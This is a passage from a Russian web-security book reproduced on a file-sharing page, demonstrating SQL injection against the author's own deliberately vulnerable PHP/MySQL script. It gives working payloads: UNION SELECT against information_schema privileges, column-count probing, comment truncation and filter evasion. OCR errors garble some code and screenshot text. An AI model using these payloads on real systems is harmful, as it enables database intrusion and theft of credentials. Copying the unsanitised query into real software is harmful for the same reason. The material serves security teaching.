Главная страница
Навигация по странице:

  • ® ® ®

  • В

  • Other Bookmarks

  • Firstname Lastnamc

  • Firstname Lastnamc Phone

  • root@localho«

  • INSERT

  • WEb практикум. Web'cepbep


    Скачать 4.76 Mb.
    НазваниеWeb'cepbep
    АнкорWEb практикум
    Дата22.01.2023
    Размер4.76 Mb.
    Формат файлаdocx
    Имя файлаWEB.docx
    ТипДокументы
    #898678
    страница11 из 18
    1   ...   7   8   9   10   11   12   13   14   ...   18




    // Connect to MySQL

    $connection = new PDO('mysql:host=127.0.0.1;dbname=testdb', 'testuser', 'password');

    // execute sql

    $username=$_GET['username'];

    $sql = "SELECT * FROM phone WHERE lastname like '". $username . "'"; $query = $connection->prepare($sql); print($sql . "
    ");

    $query->execute(); if ($query->errorInfo()[1]) { print_r($query->errorInfo());

    }

    echo "Search: $username";

    // show result ?>








    // Get result columns

    while (($line = $query->fetch(PDO::FETCH_ASSOC)) != FALSE) {

    ?>








    }

    ?>

    Firstname Lastname Phone


    Смысл сценария в том, чтобы отобразить поле для ввода имени пользователя. Вве­денное имя применяется для поиска в таблице базы данных phone. Для поиска ис­пользуется следующий запрос:

    SELECT *

    FROM phone

    WHERE lastname like '?'







    На место вопросительного знака попадает значение, которое передается через поле ввода. На рис. 5.3 показаны результат работы сценария и итоговая таблица для слу­чая, когда пользователь передал сценарию знак процента. Процент в данном случае соответствует совершенно любому количеству любых символов, то есть мы увидим все записи.

    Для данного примера я использую таблицу phone, которую недавно создал, чтобы тестировать запросы, и она тут отлично подойдет. Структура таблицы:

    CREATE TABLE 'phone' (

    'phoneid' int(11) NOT NULL AUTO_INCREMENT,

    'firstname' varchar(20) DEFAULT NULL,

    'lastname' varchar(20) DEFAULT NULL,

    'phone' varchar(100) DEFAULT NULL,

    'cityid' int(11) DEFAULT NULL,

    'm' int(11) DEFAULT NULL,

    PRIMARY KEY ('phoneid'),

    )

    Итак, если указать имя пользователя, то сценарий получит соответствующую стро­ку из базы данных и отобразит ее на web-странице. Если имя указано неверно, то результат будет пустым, то есть результирующая таблица будет пустой.

    Главная проблема этого сценария в том, что он не проверяет параметр, который вводит пользователь, а пользователь может передать что угодно. Если пользовате­лем является хакер, то он без проблем сможет взломать web-сервер, на котором ра­ботает этот сценарий.

    Теперь самое интересное: что если в качестве имени пользователя передать оди­нарную кавычку? В результате SQL-запрос будет выглядеть следующим образом:

    SELECT *

    FROM phone

    WHERE firstname='''

    Имя posterName сравнивается с тремя одинарными кавычками, что неправильно. Запрос оказывается незавершенным, и в результате мы увидим ошибку (рис. 5.4).

    Если мы добились ошибки в SQL-запросе, то существует вероятность того, что те­кущие настройки позволят нам получить доступ к чему-нибудь интересному. Да­вайте посмотрим, чего именно можно добиться. Но для начала необходимо узнать, сколько полей возвращает SQL-запрос. Да, в данном случае мы можем увидеть это в нашем сценарии, но в реальных условиях нам будет доступно только сообщение об ошибке, в котором нет необходимой информации.

    А если передать теперь не просто одинарную кавычку, а следующий текст:

    1' union all SELECT 1, GRANTEE, PRIVILEGE_TYPE, 1, 1, 1 FROM information schema.USER PRIVILEGES where 1='1

    Этот текст превратится в запрос:

    SELECT *

    FROM phone

    WHERE firstname='1'

    union all

    SELECT 1, GRANTEE, PRIVILEGE_TYPE, 1, 1, 1

    FROM information schema.USER PRIVILEGES where 1=’1


    г

    ® ® ® injection test X +

    4- О A Not Secure phpbook/sql.php?username=%27

    HI Apps В Work В Dev

    a # * i

    В Other Bookmarks

    Injection test




    User name: |' 11 Find |




    Search: 'SELECT * FROM phone WHERE lastnamc like

    Array ([0] => 42000 [1] => 1064 [2] => You have an error in your SQL syntax; check the manual that corresponds

    to your MySQL server version for the right syntax to use near m" at line 1 )

    Firstname Lastnamc

    Phone







    Рис. 5.4. Результат передачи в качестве параметра одинарной кавычки

    ® ® injection test X +

    f 4 С A Not Secure phpbook/sql.php?usemame=l9/o27+union+all+SELECT+1%2C+GRANTEEyo2C+PRIVILE... О * ft :

    Hi Apps EfJ Work Й Dev ЁВ Other Bookmarks

    Injection test


    Search: 1' union all SELECT 1. GRANTEE. PR1V1LEGE.TYPE. 1.1.1 FROM information.schcma USER PRIVILEGES where 1=1 SELECT • FROM phone WHERE lastnamc like T union all SELECT 1, GRANTEE. PRIVILEGE.TYPE, 1.1,1 FROM information_schcma.USER_PRIVILEGBS where l=rl'

    Firstname Lastnamc Phone

    'root'@'localho«'

    SELECT

    1

    'root@'localhost'

    INSERT

    1

    'root'@'localhost'

    UPDATE

    1

    'root'@'localhost'

    DELETE

    1

    'root'@'localhost'

    CREATE

    1

    'root'@'localhost'

    DROP

    1

    'root'@'localhost'

    RELOAD

    1

    'root'@'localhost'

    SHUTDOWN

    1

    'root'@'localhost'

    PROCESS

    1

    'root'@'localhost'

    FILE

    1

    'root'@'localhost'

    REFERENCES

    1

    'root'@'localhost'

    INDEX

    1

    'root'@'localhost'

    ALTER

    1







    Это приведет к тому, что мы увидим информацию из системной таблицы о приви­легиях (рис 5.5).

    Если вы до сих пор не знали о проблеме SQL-инъекции, то, надеюсь, этим приме­ром я смог вас заинтересовать. Теперь давайте разберемся с проблемой подробнее.

    1. Сбор информации

    Прежде чем продолжить атаку, хакеру необходимо собрать как можно больше ин­формации о системе, в которую он попал. Желательно получить следующую ин­формацию:

    1. Количество колонок, выбираемых запросом, в который мы внедряемся. Как раз­работчик сценария и таблицы я знал, что в ней 6 колонок и все они выбираются, так что мне не составляло труда эксплуатировать это.

    2. Какие именно поля отображаются. Тут я тоже знал, что отображаются второе, третье и четвертое поле из выполняемого запроса.

    Имея эту информацию, можно его попробовать проникнуть дальше и выяснить имена пользователей в базе данных и пароли.

    В этом разделе мы поговорим о том, каким образом можно получить максимально возможную информацию.

    Итак, как можно посчитать количество полей? Самый простой способ — объедине­ние union с другим SQL-запросом. Когда два SQL-запроса объединяются через un­ion, то они будут выполнены, только если оба возвращают одинаковое количество полей и типы соответствующих полей имеют совместимый тип.

    А с каким SQL-запросом нам произвести объединение? Что он должен возвращать и откуда брать данные? Да ниоткуда и ничего. Он просто должен возвращать нуле­вое значение. Нулевые значения позволят нам забыть о типах полей. Например, следующий SQL-запрос вполне корректен и возвращает одно пустое значение (null):

    SELECT null

    Можно возвращать какую-то строку:

    SELECT '1'

    Что выбрать? Зависит от ситуации. В нашем случае нужно второе. Дело в том, что мы внедряемся в запрос между двумя кавычками:

    SELECT * FROM phone WHERE firstname=''

    Мы должны передать хотя бы одинарную кавычку и после этого запрос. Если мы передадим:

    ' union select null то получится:

    SELECT * FROM phone WHERE firstname='' union select null'

    Но проблема в том, что в конце осталась одна кавычка, которая открыта, но не за­крыта. Чтобы от нее избавиться, можно использовать второй подход с выбором строки, то есть передать:

    ' union select ' 1

    что приведет к этому запросу:

    SELECT * FROM phone WHERE firstname='' union select '1'

    В результате сервер отобразит ошибку:

    The used SELECT statements have a different number of columns

    что означает — в данном SELECT-запросе используется некорректное число коло­нок. Это не дословный перевод, но смысл верный.

    Значит нам нужно добавить еще колонку

    ' union select '1', '1

    Потом еще:

    ' union select '1', '1' , '1

    И таким образом продолжать добавлять, пока запрос не выполнится. Так как запрос в коде возвращает 6 колонок, то мы добьемся результата, добавив 6 колонок:

    ' union select '1', '1', '1', '1','1','1

    Сообщение об ошибке упростило поиск, но в реальной жизни на большинстве сай­тов сообщения об ошибках отключены, и в этом случае можно увидеть два вариан­та поведения сайта — при ошибке он будет отображать ошибку типа 404 или про­сто пустую страницу. В любом случае — это признак того, что мы предоставили некорректное количество колонок и нужно увеличивать, пока страница не отобра­зится с какими-то данными.

    Примечание

    В SQL-запросе можно вместо пробела указывать знак плюса, например:

    union+SELECT+null,+null.

    Иногда такая запись запроса более удобна, особенно если пробелы отфильтровываются сценарием.

    В некоторых случаях подбор могут упростить символы комментариев — двойное тире или /* на конце. Например, можно попробовать передать:

    ' union select '1' /*

    Это работает не всегда — зависит от кода и базы данных, которые использовались на сервере. Но попробовать использовать символы комментария все же можно, и если они работают, то это упростит жизнь.

    А что означает /* на конце? Эти два символа указывают СУБД, что весь после­дующий текст в SQL-запросе — это комментарий и его выполнять не нужно. Если не указать этого, то СУБД вернет ошибку в любом случае. Почему?

    Если после внедрения нашего объединенного SQL-запроса не поставить коммента­рий в конце, он примет следующий вид:

    SELECT *

    FROM smf_polls WHERE posterName='' union

    SELECT null '

    Обратите внимание на одинарную кавычку в конце. Она лишняя, и из-за нее СУБД не сможет выполнить SQL-запрос. Благодаря комментарию мы можем отбросить эту точку:

    SELECT *

    FROM smf_polls

    WHERE posterName='' union SELECT null /* '

    Запрос может быть и более сложным:

    SELECT *

    FROM smf_polls

    WHERE posterName='$username' and field2='$param'

    ORDER BY posterName LIMIT 0, 25

    Тут уже после переменной $username еще очень много операторов, и они также представляют для нас проблему. Символ комментария позволяет отбросить эту часть SQL-запроса.

    Все примеры, которые мы рассматривали ранее, подразумевают, что переменная, в которую мы включили SQL-запрос, является строковой. В запросах переменную такого типа необходимо заключать в одинарные кавычки. Если переменная должна быть числовой, то ее заключение в одинарные кавычки не является обязательным. Например:

    SELECT *

    FROM poll

    WHERE pollid = $pollid

    В данном случае переменная $pollid не заключается в кавычки, а значит, кавычку не нужно передавать в качестве параметра. Достаточно просто передать вставку SQL-запроса.

    Помимо стандартных SQL-запросов select каждая СУБД поддерживает свои рас­ширения, с помощью которых можно получить подробную информацию об объек­тах базы данных. Позже мы обсудим нюансы сбора информации в Microsoft SQL Server, а в этой главе мы говорим о связке PHP + MySQL, и значит, рассматриваем именно MySQL.

    Начнем с оператора SHOW. Он имеет несколько вариантов, и первый из них, который мы рассмотрим, будет отображать доступные базы данных. Для этого необходимо выполнить оператор show databases. В результате на экране будут отображены имеющиеся базы данных:

    WEB'CEPBEP 1

    глазами 1
    1   ...   7   8   9   10   11   12   13   14   ...   18


    написать администратору сайта